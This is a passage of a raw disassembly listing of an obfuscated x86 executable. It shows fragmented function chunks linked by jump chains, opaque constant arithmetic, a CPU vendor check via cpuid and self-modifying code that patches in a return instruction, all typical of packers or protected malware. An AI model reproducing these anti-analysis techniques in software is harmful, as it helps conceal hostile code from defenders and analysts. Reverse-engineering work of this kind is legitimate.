; FUNCTION CHUNK AT 00429283 SIZE 00000015 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		push	6EB4603Ch
		jmp	loc_424D0F
sub_42E4D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42E4E6:				; CODE XREF: sub_42EBD6-5475j
		jb	loc_42A4BB
		push	0A54D8193h


loc_42E4F1:				; CODE XREF: sub_42EBD6:loc_42F5B6j
		cmp	ebx, 68747541h
		jz	loc_42A394
		jmp	loc_42E5D6
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EA6A


loc_42E502:				; CODE XREF: sub_42EA6A+13j
		jz	loc_42620C
		jmp	loc_42A62B
; END OF FUNCTION CHUNK	FOR sub_42EA6A
; ---------------------------------------------------------------------------


loc_42E50D:				; DATA XREF: sub_42ED2A-94E9o
		mov	al, [eax]
		mov	[ebp-9], al
		mov	al, [ebp-0Ah]
		and	al, 7
		jmp	loc_423C33

; =============== S U B	R O U T	I N E =======================================



sub_42E51C	proc near		; CODE XREF: _7hdaygc1:0042A68Cj
					; sub_42BCF6+8p

; FUNCTION CHUNK AT 00428689 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042A775 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042C6AC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042CA79 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FA7C SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	dword ptr [ebp-18h], 0


loc_42E527:				; CODE XREF: sub_4253A0-1BD1j
		mov	eax, [ebp-4]
		call	sub_42DEA0


loc_42E52F:				; CODE XREF: sub_423648+4CC3j
		jmp	loc_428689
sub_42E51C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_42E534	dd 404DA3BEh						; sub_42D9E1+21E3r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EE8A


loc_42E538:				; CODE XREF: sub_42EE8A+16j
		jmp	loc_429374
; END OF FUNCTION CHUNK	FOR sub_42EE8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42E53D:				; CODE XREF: sub_42E283-3977j
		jmp	loc_4244BA
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
		dw 2AACh
dword_42E544	dd 9481F20h						; sub_42862C+4w ...
dword_42E548	dd 20C6EF9h	dword_42E54C	dd 2805DF2h						; _7hdaygc1:0042DABEw
; ---------------------------------------------------------------------------


loc_42E550:				; CODE XREF: _7hdaygc1:00428265j
		jmp	loc_424B98
; ---------------------------------------------------------------------------


loc_42E555:				; CODE XREF: _7hdaygc1:0042E94Aj
		or	ecx, 1B07AD6Ah
		xor	edi, ecx
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42E55D:				; CODE XREF: sub_424AE1:loc_42E939j
		xor	eax, 3DEBB8EAh
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		add	[esi], eax
		jmp	loc_4238D7
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_42E572:				; CODE XREF: sub_42F05E-4A1Fj
		ror	ebp, 1Eh
		mov	edi, 39F861B7h


loc_42E57A:				; CODE XREF: _7hdaygc1:loc_42FADCj
		mov	eax, [ebp-4]
		call	sub_42E58D
		retn
; END OF FUNCTION CHUNK	FOR sub_42F05E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_42E583:				; CODE XREF: sub_423410+9BBj
		jmp	loc_42472D
; END OF FUNCTION CHUNK	FOR sub_423410
; ---------------------------------------------------------------------------


loc_42E588:				; CODE XREF: _7hdaygc1:00423334j
		jmp	loc_42BFAE

; =============== S U B	R O U T	I N E =======================================



sub_42E58D	proc near		; CODE XREF: sub_42F05E-AE1p

; FUNCTION CHUNK AT 0042703C SIZE 00000005 BYTES

		push	ebp
		jmp	loc_42703C
sub_42E58D	endp

; ---------------------------------------------------------------------------


loc_42E593:				; CODE XREF: _7hdaygc1:0042C0E9j
		push	eax
		call	sub_42B74A
; START	OF FUNCTION CHUNK FOR sub_42616B


loc_42E599:				; CODE XREF: sub_42616B+66E9j
		jmp	sub_42A94C
; END OF FUNCTION CHUNK	FOR sub_42616B
; ---------------------------------------------------------------------------


loc_42E59E:				; CODE XREF: _7hdaygc1:0042A1CFj
		jmp	locret_42F973
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42E5A4:				; CODE XREF: _7hdaygc1:0042D462j
		jmp	loc_42E8A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42E5A9:				; CODE XREF: sub_425F27+2EFFj
		jmp	loc_42B44A
; END OF FUNCTION CHUNK	FOR sub_425F27

; =============== S U B	R O U T	I N E =======================================



sub_42E5AE	proc near		; CODE XREF: _7hdaygc1:0042439Bj
					; _7hdaygc1:0042F5EEp
		xchg	edx, [esp+0]
		pop	edx
		add	edx, 0F5E7D0AEh
		call	sub_42C1AF
		push	eax


loc_42E5BE:				; CODE XREF: _7hdaygc1:0042B2B4j
		ror	eax, 19h
		mov	ds:dword_42E17C, eax
		jmp	nullsub_176
sub_42E5AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	esi, ebp
		test	ecx, ebx
		jmp	loc_42F961
; ---------------------------------------------------------------------------

locret_42E5D5:				; CODE XREF: _7hdaygc1:loc_42EA52j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42E5D6:				; CODE XREF: sub_42EBD6-6D9j
		jmp	loc_42FBEC
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42E5DB:				; CODE XREF: sub_423DFC+9BA5j
		jmp	loc_4270D4
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425647


loc_42E5E0:				; CODE XREF: sub_425647+9j
		jmp	loc_423584
; END OF FUNCTION CHUNK	FOR sub_425647
; ---------------------------------------------------------------------------


loc_42E5E5:				; CODE XREF: _7hdaygc1:004230F8j
		jmp	loc_427070
; ---------------------------------------------------------------------------


loc_42E5EA:				; CODE XREF: _7hdaygc1:0042C3AEj
		inc	dword ptr [ebp-8]
		push	offset sub_429B36
		jmp	loc_429EFB
; ---------------------------------------------------------------------------
		cmp	esi, edx
		jmp	loc_42B4D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42E5FE:				; CODE XREF: sub_423DFC:loc_42AD64j
		mov	[ebp-0Ch], eax
		add	dword ptr [ebp-4], 4


loc_42E605:				; CODE XREF: sub_42D245:loc_429B30j
		jno	loc_42EE0C
		mov	eax, [ebp-4]
		cmp	dword ptr [eax], 0
		jnz	loc_42CDEC
		jmp	loc_42C434
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------


loc_42E61C:				; CODE XREF: _7hdaygc1:004254A5j
		jo	loc_4292FB
		test	eax, 7FD6D82Fh
		jmp	loc_428D97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B11


loc_42E62D:				; CODE XREF: sub_428B11-18CEj
		and	edx, 8BF8CFDBh
		jmp	loc_4295C9
; END OF FUNCTION CHUNK	FOR sub_428B11
; ---------------------------------------------------------------------------


loc_42E638:				; CODE XREF: _7hdaygc1:0042F4C9j
		js	loc_42A4F8
		push	0DE02C54Ch
		jmp	sub_428371
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429A26


loc_42E648:				; CODE XREF: sub_429A26:loc_42C874j
		mov	edx, [ebp+arg_4]
		mov	[edx-10h], eax
		inc	[ebp+var_4]
		call	sub_426D10


loc_42E656:				; CODE XREF: sub_42B4DE:loc_424D14j
		xor	ecx, 4DE05568h
		rol	ecx, 1Ch
		xor	ecx, 7FA027F3h
		push	offset loc_4232AF
		jmp	loc_427ED3
; END OF FUNCTION CHUNK	FOR sub_429A26
; ---------------------------------------------------------------------------
		mov	[edx], esi
		jmp	loc_428BD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_42E676:				; CODE XREF: sub_4232C2+A12Bj
		jl	loc_42B7B0


loc_42E67C:				; CODE XREF: sub_4232C2:loc_42E25Aj
		mov	edi, eax
		push	0EF1B00D9h
		pop	eax
		xor	eax, 0E6C69A98h
		jmp	loc_423B13
; END OF FUNCTION CHUNK	FOR sub_4232C2
; ---------------------------------------------------------------------------


loc_42E68F:				; CODE XREF: _7hdaygc1:004289EAj
		jl	loc_42603A

; =============== S U B	R O U T	I N E =======================================



sub_42E695	proc near		; CODE XREF: sub_42F03C-5146p

; FUNCTION CHUNK AT 00423B5B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00424B2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425A2A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425B5D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00425CF8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042C381 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042EA34 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EC9D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042F1B1 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		jmp	loc_42C381
sub_42E695	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425735


loc_42E6A1:				; CODE XREF: sub_425735+63FAj
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_427E44
		call	sub_42E3A4
		jmp	loc_42C746
; END OF FUNCTION CHUNK	FOR sub_425735
; ---------------------------------------------------------------------------


loc_42E6B7:				; DATA XREF: sub_42AB0F-590Do
		add	esi, 7940BBF6h
		add	eax, esi
		pop	esi
		mov	eax, [eax]
		mov	al, [ebp+eax-20h]
		push	0FA985854h


loc_42E6CB:				; CODE XREF: _7hdaygc1:loc_429266j
		jmp	loc_429AC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42742E


loc_42E6D0:				; CODE XREF: sub_42742E+12j
		jz	loc_424C3C
		jmp	loc_427281
; END OF FUNCTION CHUNK	FOR sub_42742E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CBB


loc_42E6DB:				; CODE XREF: sub_426CBB:loc_423F94j
		push	edi
		mov	edi, ebx
		xchg	edi, [esp+4+var_4]
		jmp	loc_428530
; END OF FUNCTION CHUNK	FOR sub_426CBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F02


loc_42E6E6:				; CODE XREF: sub_423F02j
		mov	eax, ds:dword_42B9A0
		or	eax, eax
		jnz	loc_423B92
		jmp	loc_4262AA
; END OF FUNCTION CHUNK	FOR sub_423F02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42E6F9:				; CODE XREF: sub_42EBD6-4834j
		add	[esi], eax
		push	esi
		push	offset loc_42C5B1
		jmp	nullsub_159
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_42E706:				; CODE XREF: sub_425C3B-13B1j
		pop	ebx
		add	dword ptr [ebp-4], 4
		push	49F69D6Ch
		pop	eax
		sub	eax, ds:4000F1h
		jmp	loc_428422
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_42E71C:				; CODE XREF: sub_425A37:loc_424E3Dj
		jz	loc_42E83F
		jmp	loc_42DAF2
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
		test	edx, 8CAD2F73h
		jmp	loc_4288C1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42E733:				; CODE XREF: _7hdaygc1:00423AFEj
		jmp	loc_42B8D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D84A


loc_42E738:				; CODE XREF: sub_42D84A+BACj
		push	0AC2A1A80h
		xchg	ecx, [esp+10h+var_10]
		mov	edx, ecx
		pop	ecx
		sub	edx, 43940A76h
		or	edx, 9B7BCAB5h
		cmp	edx, 244B38Fh
		jmp	loc_424B4D
; END OF FUNCTION CHUNK	FOR sub_42D84A
; ---------------------------------------------------------------------------

locret_42E75A:				; CODE XREF: _7hdaygc1:0042B8EDj
		retn
; ---------------------------------------------------------------------------


loc_42E75B:				; DATA XREF: sub_4270E6-388Do
		push	446DB671h
		xchg	ecx, [esp]
		mov	esi, ecx
		pop	ecx
		or	esi, 0B6F436E2h
		jmp	loc_429208
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_42E771:				; CODE XREF: sub_42C50D-8C92j
		or	ebx, ecx
		jmp	loc_424F50
; END OF FUNCTION CHUNK	FOR sub_42C50D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E076


loc_42E779:				; CODE XREF: sub_42E076-8C9Cj
		jmp	nullsub_91
; END OF FUNCTION CHUNK	FOR sub_42E076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42E77E:				; CODE XREF: sub_42AA47-5982j
		jmp	loc_42C439
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A462


loc_42E783:				; CODE XREF: sub_42A462+534Ej
		add	esi, 5A010B34h
		mov	esi, [esi]
		push	offset sub_42BB83
		jmp	loc_423BA5
; END OF FUNCTION CHUNK	FOR sub_42A462
; ---------------------------------------------------------------------------
		call	nullsub_208
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_42327A
		jmp	loc_4270C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D85


loc_42E7B3:				; CODE XREF: sub_425D85:loc_42BEC1j
		mov	ebp, ebx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_425D85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B510


loc_42E7B7:				; CODE XREF: sub_42B510+8j
		jmp	loc_42382D
; END OF FUNCTION CHUNK	FOR sub_42B510
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_42E7BC:				; CODE XREF: sub_42911B-59CEj
		jmp	loc_42A7EF
; END OF FUNCTION CHUNK	FOR sub_42911B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42E7C1:				; CODE XREF: sub_42AFFE-5A2Fj
		call	sub_42E283
		jmp	sub_42D503
; ---------------------------------------------------------------------------


loc_42E7CB:				; CODE XREF: sub_42AFFE+5BAj
		add	eax, ebp
		add	eax, 0E89B7121h
		mov	eax, [eax]
		push	eax
		jmp	loc_424834
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
		and	eax, 63A3EA77h
		jmp	loc_42ABF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42E7E6:				; CODE XREF: sub_424F62+5D07j
		jnp	loc_4291DB
		and	edx, esi
		test	eax, ecx
		jmp	loc_42CF2A
; END OF FUNCTION CHUNK	FOR sub_424F62

; =============== S U B	R O U T	I N E =======================================



sub_42E7F5	proc near		; CODE XREF: sub_42D8FBj
					; DATA XREF: sub_42D8CD+Do
		jz	loc_4282F3
		mov	dword ptr [ebp-8], 1
sub_42E7F5	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_425D65


loc_42E802:				; CODE XREF: sub_425D65:loc_4271D2j
					; sub_425D65:loc_42C477j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_425D65
; ---------------------------------------------------------------------------


loc_42E809:				; CODE XREF: _7hdaygc1:004248CAj
		jmp	loc_42726C
; ---------------------------------------------------------------------------


loc_42E80E:				; CODE XREF: _7hdaygc1:004247CAj
		jmp	locret_426990
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D757


loc_42E814:				; CODE XREF: sub_42D757+Cj
		jmp	loc_42C3CF
; END OF FUNCTION CHUNK	FOR sub_42D757
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_42E819:				; CODE XREF: sub_423DDB+9136j
		jmp	sub_42AA07
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------


loc_42E81E:				; CODE XREF: _7hdaygc1:00424154j
		jmp	loc_426CCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F467


loc_42E823:				; CODE XREF: sub_42F467+10j
		mov	eax, esi
		pop	esi
		or	eax, 99F2BC4Eh
		sub	eax, 0E86F8239h
		jmp	loc_42CA50
; END OF FUNCTION CHUNK	FOR sub_42F467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_42E837:				; CODE XREF: sub_42C7F3-620j
		add	edi, edx
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; START	OF FUNCTION CHUNK FOR sub_427EF6


loc_42E839:				; CODE XREF: sub_427EF6:loc_427FC1j
		and	ebx, 0B81D1D2Eh


loc_42E83F:				; CODE XREF: sub_425A37:loc_42E71Cj
		add	dword ptr [esi], 0F80486h


loc_42E845:				; CODE XREF: sub_42AB9F-7AA0j
					; sub_4232DA+D92j ...
		xchg	eax, [esp+0]
		mov	edi, eax
		jmp	loc_42369E
; END OF FUNCTION CHUNK	FOR sub_427EF6

; =============== S U B	R O U T	I N E =======================================



sub_42E84F	proc near		; DATA XREF: sub_423648+554Do
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		or	eax, edx
		mov	[ebp-1Ch], eax
		jmp	loc_42F127
sub_42E84F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E85F	proc near		; DATA XREF: sub_429318:loc_426577o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423EC8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004271DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004291F8 SIZE 0000000B BYTES

		lea	eax, [ebp-10h]
		call	sub_42C16F
		lea	eax, [ebp-14h]
		call	sub_42C16F
		push	5126D27Bh
		xchg	ebp, [esp+0]
		jmp	loc_423EC8
sub_42E85F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42E87C:				; CODE XREF: _7hdaygc1:00429B9Aj
		popf
		js	loc_4281D2


loc_42E883:				; CODE XREF: _7hdaygc1:00429B83j
		add	esi, 0C8C64C2h
		xchg	esi, [esp]
		jmp	loc_423E3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42E891:				; CODE XREF: sub_424963+8BE6j
		or	eax, 0AA384522h
		jmp	loc_42D3C7
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_42E89C:				; CODE XREF: sub_42B470-7FC9j
		popf
		rol	ebp, 1Ah
		jmp	sub_42F56C
; END OF FUNCTION CHUNK	FOR sub_42B470
; ---------------------------------------------------------------------------


loc_42E8A5:				; CODE XREF: _7hdaygc1:loc_42E5A4j
		lea	eax, nullsub_2
		mov	byte ptr [eax],	0C3h
		call	sub_427DDA
; START	OF FUNCTION CHUNK FOR sub_42AA11


loc_42E8B3:				; CODE XREF: sub_42AA11:loc_42913Cj
		jmp	sub_427D8E
; END OF FUNCTION CHUNK	FOR sub_42AA11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E076


loc_42E8B8:				; CODE XREF: sub_42E076-8EBDj
		jmp	loc_42DD14
; END OF FUNCTION CHUNK	FOR sub_42E076
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE7D


loc_42E8BE:				; CODE XREF: sub_42BE7D-6865j
		add	eax, 2
		call	sub_42AD16


loc_42E8C6:				; CODE XREF: sub_429318:loc_42C0FBj
		jmp	loc_42AAD9
; END OF FUNCTION CHUNK	FOR sub_42BE7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42E8CB:				; CODE XREF: sub_42C443-2BE2j
		cmp	esi, 0B29CB93Eh
		jmp	loc_42454B
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42E8D6:				; CODE XREF: sub_42F65A-5A58j
		xchg	ebp, edx
		jmp	loc_42A750
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4295F7


loc_42E8DD:				; CODE XREF: sub_4295F7:loc_42F257j
		jnz	loc_4281AE


loc_42E8E3:				; CODE XREF: sub_42F979+12j
		jmp	nullsub_190
; END OF FUNCTION CHUNK	FOR sub_4295F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAD9


loc_42E8E8:				; CODE XREF: sub_42DAD9+7j
		jmp	loc_42626B
; END OF FUNCTION CHUNK	FOR sub_42DAD9
; ---------------------------------------------------------------------------
		jo	loc_429EED
		jmp	loc_4281AC
; ---------------------------------------------------------------------------
		jb	loc_42A6AD
		jmp	sub_42CAE1
; ---------------------------------------------------------------------------
		mov	[edx], edi
		jmp	sub_42BD03

; =============== S U B	R O U T	I N E =======================================



sub_42E90A	proc near		; CODE XREF: sub_42F1E7j
					; DATA XREF: sub_42E4B2:loc_42F1DDo
		add	esp, 0FFFFFFF8h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		mov	edx, [ebp-8]
		jmp	loc_42F61C
sub_42E90A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD9


loc_42E91B:				; CODE XREF: sub_426DD9:loc_42DDB0j
		add	ebx, 1A4F3F5Ch
		xor	ebx, 0B7C4829Fh
		rol	ebx, 1Eh
		add	ebx, 0B7B10002h
		popf
		xchg	ebx, [esp+4+var_4]
		jmp	sub_42D85F
; END OF FUNCTION CHUNK	FOR sub_426DD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42E939:				; CODE XREF: sub_424AE1:loc_4253E0j
		jl	loc_42E55D
; END OF FUNCTION CHUNK	FOR sub_424AE1
; START	OF FUNCTION CHUNK FOR sub_42C369


loc_42E93F:				; CODE XREF: sub_42C369-50EDj
		jmp	loc_426357
; END OF FUNCTION CHUNK	FOR sub_42C369
; ---------------------------------------------------------------------------
		xor	esi, 0F83773F9h
		jmp	loc_42E555

; =============== S U B	R O U T	I N E =======================================



sub_42E94F	proc near		; CODE XREF: sub_425492:loc_423D9Ep
					; _7hdaygc1:0042DF62j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425F8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426D74 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00428E2B SIZE 0000000C BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		lea	edx, [ebp-14h]
		mov	eax, offset dword_42B9BC
		call	sub_42AA07
		jmp	loc_426D74
sub_42E94F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42E965:				; CODE XREF: sub_4291EA+2436j
		not	edx
		cdq
		jz	loc_42FC0F
		jmp	loc_42D65B
; END OF FUNCTION CHUNK	FOR sub_4291EA

; =============== S U B	R O U T	I N E =======================================



sub_42E973	proc near		; DATA XREF: sub_426A62+88Fo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042412A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00429EE0 SIZE 00000013 BYTES

		mov	ds:dword_42BC60, eax


loc_42E978:				; CODE XREF: sub_426008:loc_42BEBCj
					; _7hdaygc1:0042C621j ...
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+4+var_4]
		push	68026240h
		pop	eax
		rol	eax, 18h
		jmp	loc_42412A
sub_42E973	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42828C


loc_42E98D:				; CODE XREF: sub_42828C+3955j
		jmp	nullsub_94
; END OF FUNCTION CHUNK	FOR sub_42828C
; ---------------------------------------------------------------------------
		mov	edx, 19CFC62Bh
		push	ecx
		push	3483E488h
		pop	ecx
		sub	ecx, 0EEA49F86h
		add	ecx, 0BA635FDCh
		xchg	ecx, [esp]
		jmp	sub_42C1AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A833


loc_42E9B2:				; CODE XREF: sub_42A833:loc_426161j
		add	ecx, 252875FCh
		mov	[ecx], eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42837F


loc_42E9BC:				; CODE XREF: sub_42837F+3j
		jmp	loc_4262D4
; END OF FUNCTION CHUNK	FOR sub_42837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F528


loc_42E9C1:				; CODE XREF: sub_42B470-2855j
					; sub_42F528+6j
		push	offset loc_423BB5
		jmp	loc_426764
; END OF FUNCTION CHUNK	FOR sub_42F528
; ---------------------------------------------------------------------------


loc_42E9CB:				; CODE XREF: _7hdaygc1:0042A7B0j
		pop	edi
		add	edi, 7733E4C9h
		xor	edi, 70737A14h
		add	edi, 0AD31B6C7h
		xchg	edi, [esp]
		jmp	sub_4291EA
; ---------------------------------------------------------------------------
		test	ecx, 0DAE4B7CDh
		jmp	loc_4237E0
; ---------------------------------------------------------------------------


loc_42E9F1:				; CODE XREF: _7hdaygc1:00429F12j
		and	edi, 57EC020Dh
		add	edi, 0FF963217h
		push	offset loc_423417
		jmp	loc_42CA0A
; ---------------------------------------------------------------------------


loc_42EA07:				; CODE XREF: _7hdaygc1:0042C949j
		push	ecx
		jnz	loc_424FD0
		jmp	loc_42ED59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED2A


loc_42EA13:				; CODE XREF: sub_42ED2A:loc_4297C4j
		cmp	byte ptr [eax],	0
		jnz	loc_42583E
		mov	eax, [ebp-8]
		push	offset loc_42A454
		jmp	sub_428A9B
; END OF FUNCTION CHUNK	FOR sub_42ED2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3C8


loc_42EA29:				; CODE XREF: sub_42F3C8:loc_4242B1j
		push	offset sub_424F62
		jmp	loc_423AEC
; END OF FUNCTION CHUNK	FOR sub_42F3C8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E695


loc_42EA34:				; CODE XREF: sub_42E695-AB21j
		jmp	loc_425CF8
; END OF FUNCTION CHUNK	FOR sub_42E695
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42EA39:				; CODE XREF: sub_425F27:loc_4299EFj
		jge	loc_4254CC


loc_42EA3F:				; CODE XREF: sub_4296EF+3D7Dj
		jmp	loc_42353D
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
		and	ebx, 2089C773h
		xor	esi, ebp
		jmp	loc_4254CC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42EA52:				; CODE XREF: _7hdaygc1:00428C06j
		jmp	locret_42E5D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424494


loc_42EA57:				; CODE XREF: sub_424494-140j
		jmp	loc_427227
; END OF FUNCTION CHUNK	FOR sub_424494
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CC45


loc_42EA5D:				; CODE XREF: sub_42CC45+9j
		mov	[ebp-4], eax
		call	sub_42826A


loc_42EA65:				; CODE XREF: sub_42951D+1E0Dj
		jmp	sub_427D8E
; END OF FUNCTION CHUNK	FOR sub_42CC45

; =============== S U B	R O U T	I N E =======================================



sub_42EA6A	proc near		; CODE XREF: sub_425647:loc_423584p
					; sub_4295F7+24j

; FUNCTION CHUNK AT 0042A0C0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A62B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E502 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
